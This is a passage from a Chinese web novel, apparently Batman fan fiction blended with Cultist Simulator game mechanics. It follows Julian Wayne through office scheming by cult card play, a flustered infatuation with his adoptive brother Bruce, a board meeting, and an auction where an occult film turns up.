从现在开始,他每天都可以稳定赚到3份[资金]了。
虽然3份[资金]可以让他雇到3个心理学专家那样的人才,但换算成教团费用还是不够多,这家公司未免也太抠门了。
尤里安多看了一眼约瑟夫的老脸,思索自己还有没有可能再次升职。
20.野心勃发的时节(3)
尤里安微笑着目送约瑟夫·帕沃斯离去,就像任何一个尽职尽责尊敬上司的好员工。
确认老帕沃斯走入电梯、回到顶层的办公室后,这层楼的员工们都炸了。
“What?约翰你直升经理了?”
“好突然,不过恭喜你啊!”
“小帕沃斯怎么突然离职了?”
“我有个朋友是某花边小报的记者,昨晚他正巧在蹲守在小帕沃斯常去的那家酒店。他看见小帕沃斯光着身子慌慌张张地逃了出来……最近老帕沃斯正准备进入政界,所以你懂的,这时候绝对不能闹出丑闻……”
一听说有八卦,员工们可就不困了,甚至在上班时间窃窃私语起来,可以看出那个对工作一窍不通还总拿鼻孔看人的草包上司的离去让他们放松很多。当然,更多人在意的是“约翰·多伊”的突然升职。
哪怕再有能力的员工,也不可能直接从普通职员一跃升至经理吧,这些视线里有羡慕有嫉妒也有不解,更多的是恍然大悟。
尤里安不知道他们在恍然大悟什么,把自己当成帕沃斯家的关系户了吗?
那他们可就想错了,他正想着趁热打铁把老帕沃斯也给干掉呢。
事实上,在约瑟夫·帕沃斯离开后,尤里安就立刻打开墨绿色桌面,卡着[经验丰富的心理学专家]这张卡牌消散的最后几秒,把她放入谈话栏里,试图故技重施,派她去解决老帕沃斯。
这个游戏卡牌的的文本很灵活,会随着现实事态的发展变化实时更新,从而给出下一步行动的提示。现在公司卡上的文字仍只是洋溢着升职的喜悦,并没有给可以继续升职的信息。这很合理,因为尤里安才刚刚升职,照正常逻辑他的资历还不足以支撑他升上更高的职位。
但跳出文本来看,这张卡牌叫做[帕沃斯父子公司的职位],父与子是并列的,小帕沃斯可以刀,老帕沃斯肯定也可以。干掉上司只是正常的升职途径,绝对不是因为这个老家伙曾经在某个宴会上对媒体说布鲁斯的坏话。
这是什么?上司,刀一下!
尤里安不确定这次行动能不能成功,按照游戏的常规套路,第二个小boss总会比第一个难打一点。
但无所谓,总得先试试再说,反正他不会有损失。
尤里安安心地入驻了新的办公地点,还跟自己在韦恩工业的办公室对比了一番,得出的结论是不够宽敞也不够明亮。
算了,有单间就不错了,至少方便他摸鱼,工作时间也大大缩短。
每日稳定的3份资金,加上码头搬工赚的1金,以及画画带来的不确定外快,就算扣除掉维持生活每日固定支出的1金,尤里安的资金链也一下子宽松起来。他终于不用抠抠搜搜精打细算,可以去书店尽情买书了。
买书是获得密传的最主要的途径,而密传是教派的根本,因为它不仅代表着知识与准则,本身还拥有神秘的力量。
它能创建教派的时候确定教派的立身之本,在谈话中拉拢信众,举行仪式提升教徒属性,同时还是寻道漫宿的敲门砖。
但密传之间亦有等级之分,等级决定密传所蕴含的力量,两本等级相同的密传可以合成更高级的知识。目前尤里安拥有不少其他准则的密传,唯独代表血杯教团的杯属性密传只有孤零零一本,而且还只有4级。
要想提升教派势力,密传必不可少……
尤里安审完一份报表,打开墨绿色桌面,一边盘算着把能合成的密传都给合成了,同时去书店大买特买。
但不知道是不是因为他已经在过去的几个月里把书店搬空了,今天他买到的不再是什么《骷髅歌》《夜游漫记》这类看起来就很有神秘学风味的书籍,而是一本蓝色封皮的怪东西。
【《惊天秘闻!如此如此这般这般》】*:一篇惊天骇俗的花边文章,描述了与当今道德观脱节的纵欲行为,内附一份包含父子兄弟不伦之恋的插画,大概是为引人注目而杜撰的作品。
(一本与无形之术毫无干系的俗世文学,如果我从书店买到了这个,说明书店库存里已没有与无形之术相关的书籍。)
尤里安:……?
这是在暗示什么吗?
他死死盯着“道德观脱节”“父子兄弟”“不伦之恋”这几个词汇,脑海中又忽然浮现出梦里那双痛苦的蓝眼睛,眼皮周围汗津津的,睫毛上闪动着动人的汗珠……
尤里安的耳尖开始发烫,绯红一路蔓延至颈脖。他捧着书籍的手抖了抖,最后还是胡乱把它塞进书架最深处。
尤里安是个实用主义者,反正解读了这本书也没法获得密传,不如让它跟灰尘为伍。
什么父子,什么兄弟,这种荒唐不经的亵渎之作——他是绝对不可能翻开的。
绝对!
虽然尤里安确实没有因为好奇翻看,但光是这本书的文本描述就给他带来了极大的震撼,以至于晚上回庄园吃饭时,他都不敢抬头看向布鲁斯。
布鲁斯正在大力夸赞今天的饮品——经过阿福的不断改良,他的饭后蔬菜汁终于达到了能够丝滑入口的水准!他们总算不用在喝蔬菜汁的时候捏着鼻子戴上痛苦面具了。
提姆也觉得很不错,他觉得如果西芹的味道能够再淡一点就更好了。
迪克没法做出评价,他已经在尤里安清醒之后回到布鲁德海文了。据他所说,虽然他也很想在家里多待几天,但他的课程和作业都在强烈呼唤他。
席间只剩一个人没有做出任何表示了
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,布鲁斯说到一半,注意到尤里安始终没有抬头,于是关切地询问:“尤里安,你怎么了?”
听见那道富有磁性却语气甜蜜的嗓音,尤里安更心虚了:“没、没什么。”
他只是怕他一对上那双充满魅力的蓝眼睛,就会想起早上中断的梦,以及那本荒唐的书。他怎么敢让自己的哥哥知道自己一不小心把他当成了性幻想对象。
但布鲁斯似乎误会他身体不适,凑得更近了:“需要做个身体检查吗?”
“不,我真的没事。”
为了增强说服力,尤里安老老实实抬起头,只不过把脑袋转向提姆——
呼,他感觉自己好多了,也许是因为提米还是个小孩吧,他对小孩的眼睛毫无欲望。
尤里安稍微平静了一点,提姆却从他的眼神中嗅到了不同寻常的气息,和布鲁斯对视一眼。
提姆:今天发生什么事了吗?
布鲁斯:没有,尤里安睡了一整天。
这顿晚餐就在这种古怪的气氛中结束了,直至尤里安离开餐厅,他们都没找出尤里安的情绪变化从何而来,只能归因于自己的家人过于多愁善感。
想到尤里安最近过分嗜睡的习惯,布鲁斯有点忧虑。
昨天阿福刚给尤里安做过身体检查,检查结果显示他的身体状况已经趋于稳定,脑波的波动幅度也即将回归正常值。照常来说,尤里安再怎么精力不济,也不至于直接化身睡美人,只在吃饭时间下楼打卡。
阿尔弗雷德显然也想到了这点,一边收拾餐具一边提出建议:“也许我们应该多带尤里安少爷出门晒晒太阳?长时间待在封闭的环境里可能诱发心理问题,家庭活动也许对此有所帮助。”
“希望如此。”布鲁斯韦恩说。
最近他在研究那幅从企鹅人那带回来的画……他担心尤里安嗜睡的源头没有那么简单。
此时的庄园二楼。
还不知道自己即将在长辈心中产生心理问题的尤里安先是习惯性地回到教主的身体,坐在廉价租房的桌前研读密传,在昏黄的灯光下把两份蛾属性密传合成更高级的知识。
在这个过程中,不不知从哪飞来的两只蛾子扑棱着翅膀,不断撞击着灯罩,白色的粉末洋洋洒下,震动的翅膀在纸面上留下无序的黑影。
等它们终于筋疲力竭,拖着残破的翅膀坠落时,尤里安的解读工作也差不多完成了。
但他的心情依然没有获得平静,反而更加躁动了,仿佛那两只飞蛾还在他心里摩擦着翅膀横冲直撞一样。
尤里安在桌前呆坐了一会儿,最终还是下定决心——
他从破破烂烂的书柜深处掏出那本蓝色的书籍。
嗯,只看一眼,他保证。
21.野心勃发的时节(4)
尤里安的大脑在颤抖。
翻开那本书的第一页时,他就知道自己完了。
一页,又一页,书中的文字令他瞳孔震颤,露骨的插画让他脸颊通红。
这本书的前半部分用华丽不浮夸的文字描写了一个兄弟相煎的故事,主人公的心理活动从一开始的痛苦、挣扎、扭曲,到最后的妥协、入迷、欢愉,仅仅只用了三页。
而后就是大篇幅的过程描述,分篇章讲述了不同的地点、姿态和工具,甚至还有教学内容,详细描绘了主人公的肢体动作和神态心理,旁边还应景地配上对应的插图,画师功力了得,寥寥几笔就将微张的唇和水润的双眼画得十分生动。
这……这对吗?
尤里安睁大眼,感觉推开了新世界的大门。他的理智觉得荒谬,眼睛却很诚实地盯着书里的内容,每一个字词都细细品过去。
品到最后,他感觉自己像是吃了一大把印度人的魔鬼咖喱,舌根和脑子一起发麻发烫。
他情不自禁跟着书里的描写想象出那个画面,然后就惊恐地发现,他脑海中的每个人都几乎拥有一双意乱情迷的蓝眼睛。
哈哈,这有什么好联想的。
他和布鲁斯甚至都不是亲兄弟,这座城市里哪个人不知道尤里安·韦恩是被韦恩夫妇抱回来的孩子?
根本不存在什么禁忌之恋,这个大家庭里的每位家庭成员之间都没有半点血缘关系。
……没有半点血缘关系。
这个念头像是一记重锤在尤里安脑海中敲响。
他啪地一下合上书,不敢再细想下去。
把书塞回书架深处后,尤里安焦躁地在房间里转了几圈,心想要不要去码头搬个砖冷静冷静。
他工作的那个码头总是在夜里招募搬工,货物是一个个大箱子,又潮又重,不过只要完成指标就能领到工资,不论时间长短。每次尤里安去搬货时,都是发了狠忘了情,满脑子都是怎么才能完成得快一些,省下点时间回去画画。
然而现实不给他逃跑的机会,尤里安正准备切去码头,本体那边就传来动静。
他不得不分了一丝精力回到本体,听到有人敲门。
尤里安爬起来开门,布鲁斯站在门口,高大的身体挡住门外的灯光,在他身上投下一片淡淡的阴影。
随后他听见布鲁斯略显犹豫的声音。
“尤里安……你还好吗?你的脸色有点红。”
“什么?”
尤里安茫然地顿了一下,这才迟钝地发现自己的身体有点奇怪——
那本书对他的冲击力实在太大了!哪怕他已经回到本体,书中文字带来的影响仍然久久不散,甚至蔓延到他的全身。
他的身体又热又软,从耳朵到脚尖,全身都在发烫,像是马上就要融化的冰淇淋,就连呼出来的气体都软绵绵的。
其实还不止如此,从布鲁斯韦恩的视角来看,尤里安整个人的状态都很不对劲,绯红从脸颊蔓延至颈脖和耳尖,眼睛蒙着一层湿润的雾,嘴唇也异常红润,颜色像湿润的樱桃。
他又发热了?
布鲁斯不动声色地扫了眼腕表上的记录,假装是在看时间——
因为从小到大尤里安的身体都很弱,时不时就会突发高烧,而且还总喜欢独自待在房间里。
所以他设计了一对腕表,在两只腕表上设置了关联的健康监测装置,然后将其中一只送给了尤里安。
大概因为这是他赠送的礼物,尤里安很珍惜这只表,除了洗澡等必要沾水的时候,从来不会摘下来,从此布鲁斯韦恩实时掌握了尤里安的健康状况。
上次他发现尤里安在浴室中昏睡过去,就是因为健康记录的缺失时间已经超过了正常值。
而现在,他的腕表上显示尤里安在几分钟前经历了短时间的体温升高,但没还到发烧的程度,更像是由情绪变化引起的波动。
恰好尤里安小声解释:“我吃完饭后把暖气开得太足,把自己闷到了。”
他当然不会说,你亲爱的弟弟吃完晚饭后就回房间看小黄书了!这种话他怎么可能说得出口?
布鲁斯点头,没有对针对这个说辞提出意见,只是用兄长的口吻关切道:“我注意到你晚上吃的有点少,最近有什么心事吗?”
尤里安:“不……没什么,只是今天不怎么饿,真的。”
其实他好像真的有点饿。
饿到看见布鲁斯的时候,他都能感觉喉咙发痒,渴得吓人,胃里也很空,很想吃点什么东西。
想到这里,尤里安的视线有些发虚,慢慢聚焦在布鲁斯的喉结上时,竟然感觉更饿了。
他被这个念头惊了一下,不过还没等他细想,布鲁斯就用另一个话题吸引他的注意,这大概就是他敲门的最初目的。
他用轻快的语气说:“过两天沃克斯那有一场拍卖会,我在拍品里看见一颗很漂亮的蓝宝石——我记得你喜欢那个,还有一间专
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门的收藏室。到时候要和我一起去看看吗?”
蓝宝石……
尤里安抬起头,看着他的眼睛,心想世界上怎么可能有比布鲁斯的眼睛还要漂亮的宝石呢。
他已经见过了最好的,从此以后一切蓝色的珠宝在布鲁斯面前都只会黯然失色。布鲁斯所说的那些宝石,只不过是他行踪不明时用于替代的收藏品而已。
尤里安有点兴致缺缺,但既然这是布鲁斯的邀约,他当然不会拒绝。
他干脆地回应:“我要去。”
……
当晚尤里安还是去码头搬砖了。
搬了半个晚上,拿到属于他的工钱后,他又回到租房画画,然后入梦享受一个短暂的睡眠。
尤里安不敢回本体睡觉,他担心自己一睡着就会在梦里解锁新的姿势,所以只能用教主的身体入梦,进入漫宿清心寡欲。
如果说[探索][谈话]这些工作台的活动还多少会与现实世界相关,通过[入梦]进行的活动则完全与醒时世界相对,也是无形之术的学徒们有别于普通人的最大特点。
传闻漫宿位于世界表皮之下,与醒时世界相对又重合。它没有实体,又被称为“太阳的居屋”,唯有在梦中可以进入。无形之术的学徒们所追求的就是在漫宿中向上攀升,教主大概也是如此。只要不断向上攀升,最终将会抵达辉光所在之处,也就是俗世所说的“飞升”。
但现在的尤里安尚未拥有如此崇高的欲望,他才刚刚踏出林地,止步于纯白之门。他用入梦栏进入漫宿,只是为了寻找机遇。
漫宿中飘散着不少并不存在于醒时世界的灵体,如果恰好通晓它们的语言,可以从它们口中听到隐秘的历史。除此之外,还有机会获得不同属性的影响。
今天尤里安就获得了一张二阶影响。
【抬头的食欲】*:所有知觉都被增强,所有感情都被加深。(一种二阶杯影响,对于有洞察力的学徒来说很明显。)
恰好就是教派的属性,就是等级有点低,尤里安暂时还没发现这张影响能用来做什么。他倒是郁闷地发现自己更饿了。
第二天早晨,尤里安回本体吃了顿丰盛的早餐,但遗憾的是,他的饥饿似乎无法完全用普通的食物填补,饥饿和干渴带来的灼烧感仍然存在。
难道是那张二阶影响放大了他的感知?尤里安感觉自己都要饥-渴到双眼发绿了。
还有,为什么布鲁斯闻起来会这么香??
22.野心勃发的时节(5)
今天上午韦恩集团有场比较重要的会议。
说是重要,其实也没有重要到让布鲁斯韦恩宁愿放弃赖床的习惯也要强迫自己参加的程度。
只是他想起阿福说过为了家庭成员的心理健康,最好多组织点家庭活动,而尤里安昨天和提姆说过他会去。
嗯,一起去公司开会应该也算家庭活动的一种?还能顺便观察一下尤里安出门的状态。
他把自己的计划告诉阿尔弗雷德,请他务必要叫醒自己。
于是在布鲁斯连续拍掉三个闹钟之后,阿福来敲门了。
这位尽职尽责的管家先生已经换上工作的服装,无情地拉开窗帘,让早晨的阳光照在床上,然后掐着怀表无情宣布:“布鲁斯少爷,再不起床就赶不上今天的‘家庭活动’了,您确定要继续睡下去吗?”
“不——我被被子绑架了。”被子里传来痛苦而懒散的声音,布鲁斯努力与被子搏斗一番,最后还是挣扎着爬了起来。
他整理完服装下楼时,尤里安和提姆已经在在吃早餐了。
看到他出现在这个时间点的餐桌,两个人都很惊讶。
提姆忍不住说:“鉴于最近你出现在公司的频率,卢修斯简直要感动得为你欢迎鼓掌了。”
布鲁斯耸了耸肩:“重要会议我也是会到场的。”
说话间,他观察着尤里安的表情。如果是以前,尤里安肯定也会揶揄几句,但今天他却一言不发,只是看了自己一眼就闷头吃饭。
他的胃口还不错,吃得比平时多一点,吃完后居然还主动找阿福要了杯特质蔬菜汁,甚至要求阿福多加点香菜。
阿尔弗雷德很惊讶,但他还是照做了,并在尤里安的监督下加入了致死量香菜。
刺鼻的香菜味甚至散到坐在旁边的提姆和布鲁斯这边,他们都露出了敬畏的表情。
而看到尤里安端着这杯绿油油的香菜汁一口口啜饮,甚至因此露出了安宁的微笑时,他们更是倒吸一口凉气。
反常,太反常了。
尤里安究竟怎么了??
……
其实尤里安只是试图用香菜汁的味道掩盖住布鲁斯身上的古怪香味罢了。
如果不这样做的话,他怕自己不受控制地冲过去舔布鲁斯裸露在外的脖子,这实在太可怕了,阿福和提姆还在旁边呢。
刺鼻的香菜味让尤里安获得了味蕾的痛苦和精神上的平和,他轻松地笑了,丝毫没注意到旁边的两位家人表情有多么惊恐。
停留在鼻腔里的香菜味成功拯救了这个早晨,早饭过后,尤里安和提姆就去韦恩工业打卡上班了,布鲁斯也破天荒地跟了上来。
每次开会必有人缺席的董事会席位居然还有坐满的一天,卢修斯肯定会惊掉下巴。
这样想着,尤里安促狭地笑了下,又很快发现自己没有资格吐槽布鲁斯,因为这阵子他又用生病的理由请了好长时间的假。
最关键的是,请假的这段时间里他看似在家安静休养,实则偷偷去对面的帕沃斯科技打工。
没人知道在卢修斯和提姆勤勤恳恳经营韦恩集团的时候,他们的第二大股东已经悄无声息地混成了对家的劳模经理。
也许他们甚至有机会在商业合作上见面?如果真有那一天的话,尤里安发誓他会尽自己所能成为一名优秀的商业间谍……
这时身为执行总裁的提姆穿着合体的西装在台上侃侃而谈,条理清晰地规划出这个庞大集团的未来,哪怕在一群中年董事之间的气场毫不逊色,这时候大家就会忽略他其实还是个每天晚上都得做作业的高中生。
尤里安只需要投票,并不需要上去发言,他很快开始走神,情不自禁将视线停留在布鲁斯身上。
布鲁斯看起来很困,眼皮一直在上下打架,整个人都显得无精打采,只是在提姆发言的时候强撑着听几句。等到需要举手表决,尤里安在桌下提醒他时,他才会清醒过来,看尤里安一眼,蓝眼睛里盛满迷糊的笑意,然后就迷迷糊糊跟着他一起投票。
会上的其他董事满脸都是“哦,不愧是布鲁西”,空有一张漂亮的脸蛋就毫无用处,就算难得来开会也只是装装样子。相比起来,他旁边的弟弟虽然身体不好,但好歹对待工作很认真。
其实尤里安也没多认真,只是他拥有能够在走神时看起来仍然很认真的技能。
他的注意力已经转向了布鲁斯的手臂。为了找个更舒服的姿势,布鲁斯用手臂撑在桌前,小臂肌肉微微鼓起,哪怕隔着一层西装都能感受到漂亮的肌肉线条。
他双手交叠,手背上纵横着性感的青筋,修长有力的手指不时轻点。尤里安知道那双手的指腹有多么粗糙,手掌有多么炽热,按在身上的时候简直让人想要发抖……
等等,他又在想些什么?
尤里安收回视线,超不经意地抬起手,用手背给逐渐烫起来的脸部降温,告诉自己要做点正事。
考虑到自己今天还没处理过教派事务,这场会议目测还将持续半个小时,自己又总是忍不住盯着布鲁斯看个
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不停……
尤里安干脆只留了一点心神在本体这边,让本体看起来在垂着眼睛发呆,随后将大部分心神分到另一边——
有的人表面上还在工作,其实已经走了有一阵了。
巧合的是,由系统代管挂机的教主居然也在开会,尤里安连接上这具身体的视野时,还在会议上看到了老帕沃斯。老帕沃斯看起来精神不太好,眼神比平时更加沧桑了,眼中却闪烁着警惕的精光。
他的出现是个不好的预兆,尤里安打开桌面,果然看到任务失败的消息。
【我的手下失败了!】:我的手下归来了,带着个令人不快的消息。老帕沃斯比想象中的更谨慎、更警惕也更有韧性,他的心智完好无损,这次袭击会令他更加警惕。
【经验丰富的心理学专家】:“那个老东西——实在太谨慎、太狡猾了!和他一起的老女人也是,他们可比他们的儿子难接近多了!我觉得我需要找个更专业的帮手。”
失败的后果就是墨绿色桌面上多了一张[邪名]。
邪名属于声名的一种,通常会随着时间缓慢消散。尤里安的理解是,当一个教派积攒了过多邪名,就说明这个教派的邪恶形象已经深入人心,有心之人会受此吸引,猎人和警探也会闻着味儿立案调查。
现在教派才刚刚兴起,被猎人盯上不是件好事。尤里安希望他们不要太早注意到这家公司,他还没刷够金币,目前还只是一个渴望升职加薪的好员工呢。
这次失败让尤里安意识到5级下属胜任不了这个任务,或许他需要属性更高的雇工?又或许杯属性和蛾属性对老帕沃斯没用,需要派遣其他属性的下属?
不管怎么说,现在确实不是干掉上司的好时候。尤里安盯着老帕沃斯的那张讨厌的脸,决定暂时放他一马,把谈话栏用来招募新的志同道合之人。
这阵子谈话栏都被他用来赚钱和搞上司了,偶尔传播一两次教义也毫无回音,所以直到现在他还是只有孤零零三位教徒,连九大性相都凑不齐。
不过好消息是,新教徒企鹅人真的很能干,继招募到一个属性优秀的临时雇工后,今天他又为尤里安带回一个新地点。
【奥里弗拉姆拍卖行】:奥利弗拉姆拍卖行无处不在,无所不卖。它行踪不定,隐藏在任何一个凡人拍卖行之间,售卖从俗世人间到神秘世界的所有商品。(您或许可以在其中买到想要的书籍。)
可以买书?
一看到这行注释,尤里安直接将这张卡牌投入探索栏。
23.野心勃发的时节(6)
在开会的时候清游戏日常好像比平时更有劲,就好比带薪摸鱼时总能摸得比平时更爽。
等尤里安清完教派日常,活力满满地地回到本体时,会议差不多也要结束了。他看见布鲁斯仍然是一副精神不振的样子,忍不住劝布鲁斯回家休息。
布鲁斯却表示:“不,我想和你一起工作。”
说话间他努力睁开困倦的眼睛,用那双迷糊的蓝眼睛含情脉脉地看着尤里安。尤里安很熟悉这个眼神——每当布鲁斯试图抗拒蔬菜汁或者牛奶时,都会尝试用这种眼神感动阿福。
当然,阿福并不会因此动摇。
但尤里安这几天本就格外心虚,怎么可能抵挡得布鲁斯的眼神攻击。他乖乖带着布鲁斯去顶层的办公室,根本没有怀疑过为什么这两天的布鲁斯为什么格外粘人。
或者说——在他心里,其实这样的相处模式才算回到正轨,前阵子布鲁斯忽然疏远他才不正常呢。
这间办公室原本是布鲁斯的,现在是他们两人共有的。
在布鲁斯离开哥谭的那几年里,尤里安接管了这家公司,自然也搬进了他的办公室。几年前他回来了,不过很少来公司上班,所以尤里安并没有搬走。
共用一个办公室其实没什么,这里位于韦恩集团顶楼,空间宽敞,视野开阔,哪怕是再塞几个人都不会拥挤,更别说他们是亲密无间的兄弟。
尤里安想起自己的旷工记录,勤勤恳恳看了两份文件。等他签完名站起来伸懒腰时,却看见布鲁斯正堂而皇之地把玩着钢笔。
被发现自己在摸鱼,他也只是狡黠一笑,放下笔凑过来向尤里安展示手机里的信息。
“沃克斯的宣传册已经出来了,来看看这颗宝石。”他积极地说,“它的名字叫‘哥谭之心’。”
英俊的面孔骤然贴近,连肩膀都挨在一起,带着健康的热力和令人安心的气息,尤里安呆了两秒,第一反应是:叽里咕噜什么呢?光顾着看脸了根本听不清。
回过神后,他才慢一拍地看向宣传册上的小图,被这颗璀璨的晶体美到屏住呼吸。
哦,哥谭之心?不错的名字,颜色很像布鲁斯的眼睛。
……
尤里安开始对这场拍卖会感兴趣了。
不过他是个敬业的教主,在即将出发的那个下午,他先是特意将游戏的另一边都安排好,将每个工作栏都塞得满满的,确保他不在的时候挂机系统有干不完的活,随后才和布鲁斯一起出门。
沃克斯拍卖行位于哥谭西南,是一家历史悠久的老牌拍卖行。虽然这几年来冰山拍卖行的业务越做越大,在年轻一代的名流和新贵之间很受青睐,但沃克斯底蕴仍在,对拍品的筛选极为严格。
更重要的是,这家拍卖行始终遵守将拍卖所得的15%用于慈善事业的承诺,这使得它在上流社会具有独特的地位。不论是真正的慈善家,还是只为博得美名的人,都愿意成为它的长久客户。
尤里安所关注的“哥谭之心”是一颗尚未加工成珠宝成品的漂亮宝石,虽然还未定型,但色泽和透明度都极其美丽,一个以“哥谭”为噱头的名字更是让它成为了本次拍卖会中价值最高的拍品之一,被安排在最后出场。
不过尤里安并不只是盯着最后的宝石,看见感兴趣的拍品也会出手。拍卖会开场没多久他就买了,布鲁斯则拍下一只锈迹斑斑的古代匕首。
因为他们出手大方切随心所欲,不少人认出了他们,旁边那个包间的窗口里还有人伸手和布鲁斯打招呼,笑着请他收收手,别和她抢接下来的那对粉钻耳环。布鲁斯自然是风度翩翩地回应,尽管他早就忘记那位女士的名字了。
哼,还是老样子,大名鼎鼎的哥谭交际花。
尤里安撇了撇嘴,低头看翻着手中的小册子。
下一件拍品就是那位女士提到的粉钻耳环,它在宣传册上的名字是“伊甸玫瑰”,色泽明亮热烈又纯净无暇,似乎买下它就能代表爱情,不少人就是专门冲着它来的,可以想象接下来的竞拍有多么激烈。
然而,就在尤里安等待着下一件拍品的上场时,楼下忽然传来一阵窃窃私语,本该出场的耳环并没有被捧上台,拍卖师请人搬来一台老式放映机。
那台放映机看起来是上个世纪的型号,带着一个臃肿的大木箱,两个泛着锈迹的机械齿轮裸露在外,放在富丽堂皇的展台上有种古怪的复古感。
临时调换顺序了?耳环换成了这个放映机?
可除了造型复古了一点,这台机器好像就没什么珍贵之处了……
面对竞拍者们的质疑,台上的拍卖师不慌不忙,用一种奇异的语气介绍道:“下一件拍品是一盘硝酸盐胶片,胶片名字为《噤声!》,亦或者《沉默》《哑》——它由杰尼克·罗克赛导演所作。”
台下的竞拍者们哗然,所有人都没想到代替粉钻耳环的拍品会是一盒胶片,而且这部作品完全没有名气,他们从来没听过导演的名字。
有人提出质疑,怀疑沃克斯拍卖行的专业性,但拍卖师并没有因为他们的质疑停下,保持着不变的微笑,将胶片放入放映机。
放映
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机嘎吱作响,静静地将画面投在幕布上,为所有人播放一部黑白影片。这部影片并不长,讲述的是一名研究禁忌科学的学徒,招募舞者诱惑亡灵的故事。
舞者的舞点和节拍在黑白世界里流光溢彩,烟雾般的亡者从世界表皮的破绽重回人间。所有人都能看出这是一场仪式,而且过程极其详尽,包括工具、原料、影响、祷词,每一个步骤都进行了详细说明。而最后,无声的亡者吞食了那名禁忌的学徒。
正如片名所示,整个大厅鸦雀无声,陷入彻底的静默。
直至影片结束,拍卖师宣布起拍时,众人仍然久久无法回神。
没人追究为什么拍卖师会在拍卖会上公开展示一盘诡异的胶片,也没人质疑为什么名不见经传的藏品会插队出现在这个动辄几百万交易的高级拍卖行里,所有人都沉浸在影片带来的刻骨寒冷和毛骨悚然中。
“本件拍品的起拍价为一百美金,每次加价幅度不小于一百美金。”
这盒胶片在最低起拍价为100万的拍卖场里拍出了高达100美元的价格,竞拍流程还和刚刚那条起拍价两百万的祖母绿项链一样一丝不苟。
尤里安觉得眼前的场景有种淡淡的冷幽默,而不论是那部影片神神叨叨的风格,还是这种奇怪的冷幽默,都让他感到万分熟悉。
等等。
难道说……?
尤里安忽然有种很强烈的既视感。
他打开墨绿色桌面,探索区的倒计时正在缓缓流动。
【正在竞拍……】:今天的奥利弗拉姆隐匿在一个平平无奇的珠宝展里头,在华丽不实的宝石之间,我终于看到了有趣的商品。
这行文字的下方贴心地贴上了拍品的简笔画图片,教主感兴趣的拍品正是一盒名为《噤声!》的胶片。
此时简笔画图片上方出现一个空的卡槽,跳动的倒计时催促着尤里安往卡槽里放入资金。尤里安照做了,试探着拖了份[资金]进去。
随后,寂静的会场里终于开始有人出价:“一百美金。”
尤里安:……
他顺着声源探出脑袋从包厢的窗户往下看,果然在一楼的角落发现一个头戴兜帽的身影。
不是说他的视力有多好,只是在众多西装革履礼服翩翩的女士和先生之间,只有那一个人穿着宽大的斗篷,拉起兜帽将全身遮挡得严严实实。
坏了。
居然和自动挂机的教主撞行程了。
原来奥里弗拉姆拍卖行行踪不定的意思,是它会自己长脚混进其他拍卖行里啊!